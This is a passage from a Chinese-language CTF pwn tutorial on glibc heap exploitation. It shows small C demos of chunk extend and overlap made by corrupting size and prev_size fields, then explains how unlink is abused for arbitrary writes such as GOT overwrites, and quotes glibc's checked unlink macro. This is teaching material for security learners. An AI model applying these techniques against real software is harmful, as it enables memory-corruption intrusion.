<code>chunk1</code> 的时候，<code>chunk2</code> 也会被 <code>free</code> 掉</p><p>而当我们再次请求这两个堆块大小之和的堆块时，就会获得 <code>chunk1 + chunk2</code> 的空间，也就可以控制 <code>chunk2</code> 的内容</p></blockquote><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token operator">*</span>ptr1<span class="token punctuation">;</span>    ptr <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第一个 0x10 的 chunk</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第二个 0x10 的chunk</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token keyword">long</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token keyword">long</span><span class="token punctuation">)</span> ptr <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">0x41</span><span class="token punctuation">;</span>   <span class="token comment">// 修改第一个块的 size 域</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>    ptr1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 实现 extend，控制了第二个块的内容</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当我们 <code>malloc</code> 两个堆块后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A85.png" alt="CTF - PWN_堆相关的漏洞与利用5.png"></p><p>然后修改 <code>chunk1</code> 的 <code>size</code> 域为 <code>0x41</code>（包括了 <code>chunk2</code> 的大小）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A86.png" alt="CTF - PWN_堆相关的漏洞与利用6.png"></p><p>可以看到 <code>free</code> 掉 <code>chunk1</code> 后，<code>chunk2</code> 也被 <code>free</code> 掉了：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A87.png" alt="CTF - PWN_堆相关的漏洞与利用7.png"></p><p>此时如果我们再通过 <code>malloc(0x30)</code> 分配堆块，就会得到 <code>chunk1 + chunk2</code> 的块，此时就可以直接控制 <code>chunk2</code> 中的内容</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A88.png" alt="CTF - PWN_堆相关的漏洞与利用8.png"></p><p>这种状态就称为 <code>Overlap chunk</code></p><hr><h2 id="对-inuse-的-small-bin-进行-extend"><a href="#对-inuse-的-small-bin-进行-extend" class="headerlink" title="对 inuse 的 small bin 进行 extend"></a>对 inuse 的 small bin 进行 extend</h2><blockquote><p>当 <code>free</code> 掉的 <code>chunk size &gt;= 144</code>（0x90）字节时，会被置于 <code>unsorted bin</code> 中，这次以 <code>malloc(0x80)</code> 来举例</p><p>与前面的 <code>fast bin</code> 不同的是，这种情况下还需要再 <code>malloc</code> 一块空间用来防止 <code>unsorted bin</code> 与 <code>top chunk</code> 合并</p></blockquote><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token operator">*</span>ptr1<span class="token punctuation">;</span>    ptr <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x80</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第一个 0x80 的 chunk1</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第二个 0x10 的 chunk2</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 防止与 top chunk 合并</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span> ptr <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">0xb1</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>    ptr1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0xa0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当我们 <code>malloc</code> 三个堆块后（<code>chunk3</code> 用来防止 <code>chunk1</code> 被篡改并 <code>free</code> 后与 <code>top chunk</code> 合并）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A89.png" alt="CTF - PWN_堆相关的漏洞与利用9.png"></p><p>然后修改 <code>chunk1</code> 的 <code>size</code> 域为 <code>0xb1</code>（包括了 <code>chunk2</code> 的大小）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A810.png" alt="CTF - PWN_堆相关的漏洞与利用10.png"></p><p>可以看到 <code>free</code> 掉 <code>chunk1</code> 后，<code>chunk2</code> 也被 <code>free</code> 掉了：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A811.png" alt="CTF - PWN_堆相关的漏洞与利用11.png"></p><p>此时 <code>chunk1</code> 和 <code>chunk2</code> 被一起置入 <code>unsorted bin</code></p><p>此时如果我们再通过 <code>malloc(0xa0)</code> 分配堆块，就会得到 <code>chunk1 + chunk2</code> 的块，此时就可以直接控制 <code>chunk2</code> 中的内容：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A812.png" alt="CTF - PWN_堆相关的漏洞与利用12.png"></p><hr><h2 id="对-free-的-small-bin-进行-extend"><a href="#对-free-的-small-bin-进行-extend" class="headerlink" title="对 free 的 small bin 进行 extend"></a>对 free 的 small bin 进行 extend</h2><blockquote><p>在，先释放 <code>chunk1</code>，然后再修改处于 <code>unsorted bin</code> 中的 <code>chunk1</code> 的 <code>size</code> 域，会使得 chunk2 也被置于 <code>unsorted bin</code> 中</p><p>当我们再次请求这两个堆块大小之和的堆块时，就会获得 <code>chunk1 + chunk2</code> 的空间，也就可以控制 <code>chunk2</code> 的内容</p></blockquote><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token operator">*</span>ptr1<span class="token punctuation">;</span>    ptr <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x80</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第一个 0x80 的 chunk1</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第二个 0x10 的 chunk2</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 首先进行释放，使得 chunk1 进入 unsorted bin</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span> ptr <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">0xb1</span><span class="token punctuation">;</span>    ptr1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0xa0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当 <code>malloc</code> 分配两个堆块后，直接 <code>free</code> 掉 <code>chunk1</code> 使其被置于 <code>unsorted bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A813.png" alt="CTF - PWN_堆相关的漏洞与利用13.png"></p><p>此时修改 <code>unsorted bin</code> 的 <code>size</code> 域为 <code>0xb1</code>（包括了 <code>chunk2</code> 的大小），发现 <code>chunk2</code> 也被置于 <code>unsorted bin</code> 中：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A814.png" alt="CTF - PWN_堆相关的漏洞与利用14.png"></p><p>然后再 <code>malloc(0xa0)</code> 的大小就可以得到 <code>chunk1 + chunk2</code> 的堆块，从而控制了 <code>chunk2</code> 的内容：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A815.png" alt="CTF - PWN_堆相关的漏洞与利用15.png"></p><hr><h2 id="通过-extend-后向-Overlap"><a href="#通过-extend-后向-Overlap" class="headerlink" title="通过 extend 后向 Overlap"></a>通过 extend 后向 Overlap</h2><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>ptr<span class="token punctuation">,</span> <span class="token operator">*</span>ptr1<span class="token punctuation">;</span>    ptr <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第 1 个 0x80 的 chunk1</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第 2 个 0x10 的 chunk2</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第 3 个 0x10 的 chunk3</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 分配第 4 个 0x10 的 chunk4    </span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span> ptr <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">0x61</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr<span class="token punctuation">)</span><span class="token punctuation">;</span>    ptr1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当 <code>malloc</code> 分配四个堆块后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A816.png" alt="CTF - PWN_堆相关的漏洞与利用16.png"></p><p>修改 <code>chunk1</code> 的 <code>size</code> 域为 <code>0x61</code>（包括了 <code>chunk2</code>、<code>chunk3</code> 的大小）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A817.png" alt="CTF - PWN_堆相关的漏洞与利用17.png"></p><p>此时 <code>free</code> 掉 <code>chunk1</code>，则 <code>chunk2</code>、<code>chunk3</code> 也一并被 <code>free</code> 进入 <code>fast bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A818.png" alt="CTF - PWN_堆相关的漏洞与利用18.png"></p><p>在 <code>malloc(0x50)</code> 对 <code>extend</code> 区域重新占位后，其中 <code>0x10</code> 的 <code>fastbin</code> 块依然可以正常的分配和释放：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A819.png" alt="CTF - PWN_堆相关的漏洞与利用19.png"></p><p>此时已经构成 <code>Overlap</code>，通过对 <code>Overlap</code> 的进行操作可以实现 <code>fastbin attack</code></p><hr><h2 id="通过-extend-前向-Overlap"><a href="#通过-extend-前向-Overlap" class="headerlink" title="通过 extend 前向 Overlap"></a>通过 extend 前向 Overlap</h2><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>ptr1<span class="token punctuation">,</span> <span class="token operator">*</span>ptr2<span class="token punctuation">,</span> <span class="token operator">*</span>ptr3<span class="token punctuation">,</span> <span class="token operator">*</span>ptr4<span class="token punctuation">;</span>    ptr1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// smallbin1</span>    ptr2 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// fastbin1</span>    ptr3 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// fastbin2</span>    ptr4 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// smallbin2</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 防止与 top 合并</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token keyword">long</span><span class="token punctuation">)</span> ptr4 <span class="token operator">-</span> <span class="token number">0x8</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">0x90</span><span class="token punctuation">;</span>   <span class="token comment">// 修改 pre_inuse 域</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token keyword">long</span><span class="token punctuation">)</span> ptr4 <span class="token operator">-</span> <span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">0xd0</span><span class="token punctuation">;</span>   <span class="token comment">// 修改 pre_size 域</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr4<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// unlink 进行前向 extend</span>    <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x150</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 占位块</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>当 <code>malloc</code> 分配五个堆块后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A820.png" alt="CTF - PWN_堆相关的漏洞与利用20.png"></p><p>此时 <code>free</code> 掉 <code>chunk1</code> 使其置入 <code>unsorted bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A821.png" alt="CTF - PWN_堆相关的漏洞与利用21.png"></p><p>修改 <code>chunk4</code> 的 <code>size</code> 域为 <code>0x90</code>（其中 <code>pre_inuse</code> 位为 0，代表前一个 <code>chunk</code> 空闲）</p><p>修改 <code>pre_size</code> 域为 <code>0xd0</code>（包括了 <code>chunk2</code> 和 <code>chunk3</code> 的大小）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A822.png" alt="CTF - PWN_堆相关的漏洞与利用22.png"></p><p>此时 <code>free</code> 掉 <code>chunk4</code>，会导致 <code>chunk2</code> 和 <code>chunk3</code> 也一并被 <code>free</code>，同时与 <code>free</code> 掉 <code>chunk1</code> 后形成的 <code>unsorted bin</code> 合并：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A823.png" alt="CTF - PWN_堆相关的漏洞与利用23.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A824.png" alt="CTF - PWN_堆相关的漏洞与利用24.png"></p><p>在 <code>malloc(0x150)</code> 对 <code>extend</code> 区域重新占位后，就可以得到 <code>chunk1 + chunk2 + chunk3 + chunk4</code> 的堆块</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A825.png" alt="CTF - PWN_堆相关的漏洞与利用25.png"></p><p>前向 <code>extend</code> 利用了 <code>smallbin</code> 的 unlink 机制，通过修改 <code>pre_size</code> 域可以跨越多个 <code>chunk</code> 进行合并实现 <code>Overlap</code></p><hr><h1 id="Unlink"><a href="#Unlink" class="headerlink" title="Unlink"></a>Unlink</h1><blockquote><p><code>unlink()</code> 是 Glibc 中的一个宏，其目的是将某一个空闲 <code>chunk</code> 从其所处的 <code>bin</code> 中脱链</p><ul><li>在 <code>malloc_consolidate()</code> 函数中用于将 <code>fast bin</code> 中的空闲 <code>chunk</code> 整理到 <code>unsorted bin</code>  </li><li>在 <code>malloc()</code> 函数中用于将 <code>unsorted bin</code> 中的空闲 <code>chunk</code> 整理到 <code>small bin</code> 或者 <code>large bin</code>，以及在 <code>malloc()</code> 中获得堆空间时，均有可能调用 <code>unlink()</code> 宏</li></ul><p>参考文章：  </p><ol><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/">Unlink - CTF Wiki</a>  </li><li><a href="https://blog.csdn.net/Morphy_Amo/article/details/122631424">【pwn学习】堆溢出（三）- Unlink和UAF_pwn unlink-CSDN博客</a></li></ol></blockquote><p>在利用 unlink 所造成的漏洞时，其实就是对 <code>chunk</code> 进行内存布局，然后借助 unlink 操作来达成修改指针的效果</p><p><code>unlink()</code> 的大致流程如下：</p><ol><li>首先根据 <code>chunk P</code> 的 <code>fd</code> 和 <code>bk</code> 参数确定 <code>chunk P</code> 在 <code>bin</code> 中的前后 <code>chunk</code> 分别为 <code>FD</code> 和 <code>BK</code></li><li>然后让 <code>chunk FD</code> 的 <code>bk</code> 参数指向 <code>chunk BK</code></li><li>最后让 <code>chunk BK</code> 的 <code>fd</code> 参数指向 <code>chunk FD</code></li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A826.png" alt="CTF - PWN_堆相关的漏洞与利用26.png"></p><hr><h2 id="没有防护的-unlink"><a href="#没有防护的-unlink" class="headerlink" title="没有防护的 unlink"></a>没有防护的 unlink</h2><blockquote><p>这是比较古老的 unlink 利用方法，没有对 <code>chunk</code> 的 <code>size</code> 检查和双向链表检查</p></blockquote><p>Glibc 中没有防护的 <code>unlink()</code> 宏定义：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">unlink</span><span class="token expression"><span class="token punctuation">(</span>AV<span class="token punctuation">,</span> P<span class="token punctuation">,</span> BK<span class="token punctuation">,</span> FD<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                                            </span></span>    FD <span class="token operator">=</span> P<span class="token operator">-></span>fd<span class="token punctuation">;</span>   <span class="token comment">//获取显式链表中前一个块 FD      </span>    BK <span class="token operator">=</span> P<span class="token operator">-></span>bk<span class="token punctuation">;</span>   <span class="token comment">//获取显示链表中后一个块 BK              </span>    FD<span class="token operator">-></span>bk <span class="token operator">=</span> BK<span class="token punctuation">;</span>  <span class="token comment">//设置FD的后一个块      </span>    BK<span class="token operator">-></span>fd <span class="token operator">=</span> FD<span class="token punctuation">;</span>  <span class="token comment">//设置BK的前一个块</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>假设堆内存最初的布局如图（32 位程序）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A827.png" alt="CTF - PWN_堆相关的漏洞与利用27.png"></p><p>上图中有两个物理空间连续的 <code>chunk</code>，分别是 <code>Q</code> 和 <code>Nextchunk</code>，并且 <code>Q</code> 处于使用状态，<code>Nextchunk</code> 处于释放状态</p><p>如果我们通过某种方式（比如：溢出）将 <code>Nextchunk</code> 的 <code>fd</code> 和 <code>bk</code> 指针修改为指定的值，则当我们 <code>free(Q)</code> 时，会发生如下步骤：</p><ol><li>Glibc 判断 <code>chunk Q</code> 是 <code>small chunk</code>  </li><li>判断前向合并，发现前一个 <code>chunk</code> 处于使用状态，不需要前向合并  </li><li>判断后向合并，发现后一个 <code>chunk</code> 处于空闲状态，需要合并  </li><li>继而对 <code>Nextchunk</code> 采取 unlink 操作</li></ol><p>按照前面所提到的 <code>unlink()</code> 的大致流程，可以将该过程总结如下：</p><ol><li><code>FD = P -&gt; fd = target addr - 12</code>  </li><li><code>BK = P -&gt; bk = expect value</code>  </li><li><code>FD -&gt; bk = BK</code>，即：<code>*(target addr - 12 + 12) = BK = expect value</code>  </li><li><code>BK -&gt; fd = FD</code>，即：<code>*(expect value + 8) = FD = target addr - 12</code></li></ol><p>这样一来，我们可以通过 unlink 直接实现任意地址读写的目的，但是还是需要确保 <code>expect value + 8</code> 的地址处具有可写的权限</p><blockquote><p>例如将 <code>target addr</code> 设置为某个 GOT 表项，那么当程序调用对应的 libc 函数时，就会直接执行我们设置的值 <code>expect value</code> 处的代码</p><p><strong>需要注意的是，<code>expect value + 8</code> 处的值被破坏了，需要想办法绕过</strong></p></blockquote><hr><h2 id="存在防护的-unlink"><a href="#存在防护的-unlink" class="headerlink" title="存在防护的 unlink"></a>存在防护的 unlink</h2><blockquote><p>目前的 unlink 通常是存在检查的，此时就没有那么简单了</p></blockquote><p>由于 unlink 的危险性，Glibc 添加了一些检测机制，存在防护的 <code>unlink()</code> 宏如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">/* Take a chunk off a bin list */</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">unlink</span><span class="token expression"><span class="token punctuation">(</span>AV<span class="token punctuation">,</span> P<span class="token punctuation">,</span> BK<span class="token punctuation">,</span> FD<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                                            </span><span class="token punctuation">\</span>    <span class="token expression">FD <span class="token operator">=</span> P<span class="token operator">-></span>fd<span class="token punctuation">;</span>      </span><span class="token punctuation">\</span>    <span class="token expression">BK <span class="token operator">=</span> P<span class="token operator">-></span>bk<span class="token punctuation">;</span>      </span></span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__builtin_expect</span> <span class="token punctuation">(</span>FD<span class="token operator">-></span>bk <span class="token operator">!=</span> P <span class="token operator">||</span> BK<span class="token operator">-></span>fd <span class="token operator">!=</span> P<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      \      <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span>check_action<span class="token punctuation">,</span> <span class="token string">"corrupted double-linked list"</span><span class="token punctuation">,</span> P<span class="token punctuation">,</span> AV<span class="token punctuation">)</span><span class="token punctuation">;</span>  \    <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>      \        FD<span class="token operator">-></span>bk <span class="token operator">=</span> BK<span class="token punctuation">;</span>      \        BK<span class="token operator">-></span>fd <span class="token operator">=</span> FD<span class="token punctuation">;</span>      \        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_smallbin_range</span> <span class="token punctuation">(</span>P<span class="token operator">-></span>size<span class="token punctuation">)</span>      \            <span class="token operator">&amp;&amp;</span><span class="token function">__builtin_expect</span> <span class="token punctuation">(</span>P<span 